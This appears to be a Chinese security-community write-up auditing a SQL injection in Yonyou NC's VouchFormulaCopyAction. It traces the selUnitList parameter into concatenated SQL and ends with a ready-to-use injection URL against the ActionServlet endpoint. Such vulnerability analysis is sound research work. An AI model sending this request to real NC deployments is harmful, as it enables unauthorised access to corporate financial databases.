guangen2026-04-22文章来源:SecHub网络安全社区
感谢yukikhq师傅提供源码环境,顺便参考了师傅的文章:https://forum.butian.net/article/792
漏洞点:nc->ui->hbbb->innertrade->VouchFormulaCopyAction.class

继承WithUnitTreeDialogAction
public class VouchFormulaCopyAction extends WithUnitTreeDialogAction {
将通用actionForm转为具体VouchQueryForm
VouchQueryForm form = (VouchQueryForm)actionForm;
获取用户的三个数据
String[] strCopyUnitCodes = getListValues("selCopyUnitList");
String[] strMeasPKs = getListValues("selItemList");
String[] strCounterUnitPKs = getListValues("selUnitList");
构建查询条件对象
VouchFormulaCondVO cond = new VouchFormulaCondVO();
cond.setSelfUnitCode(form.getSelfUnitPK()); // 设置当前单位
cond.setItemCodes(strMeasPKs); // 设置项目条件
cond.setCounterUnitCodes(strCounterUnitPKs); // 设置对方单位条件
getVouchFormulasByCond(cond)中cond为查询对象,执行数据库查询,返回符合条件的凭证公式数据
VouchFormulaVO[][] formulas = VouchFormulaBO_Client.getVouchFormulasByCond(cond);
跟进getVouchFormulasByCond(cond),分析数据库查询语法

再往下看就一眼丁真
sql语句动态构建,没有使用预编译preparestatement函数处理
bufSQL.append("'" + strUnitPKs[i] + "'");直接拼接字符串,单引号可导致闭合
语句末尾bufSQL.append(")");拼接小括号
StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?");
bufSQL.append(" and counterunit_code in (");
String[] strUnitPKs = cond.getCounterUnitCodes();
for (int i = 0; i < strUnitPKs.length; i++) {
bufSQL.append("'" + strUnitPKs[i] + "'");
if (i < strUnitPKs.length - 1) {
bufSQL.append(",");
} else {
bufSQL.append(")");
}
}
明显的sql注入,利用单引号+括号进行闭合导致sql注入
1');
因为是Action方法,所以还是按照用友的ActionServlet方法调用
上述代码中利用strUnitPKs[i]进行拼接,上一步从cond.getCounterUnitCodes();执行查询
对应构建查询条件对象中cond.setCounterUnitCodes(strCounterUnitPKs);函数
再次网上跟进就是对应String[] strCounterUnitPKs = getListValues("selUnitList");
最终得到参数selUnitLis
指定要执行的类:?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction
调用类方法:method=execute
参数:&selCopyUnitList=1&selUnitList=1&selItemList=1
最终为
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1')&selItemList=1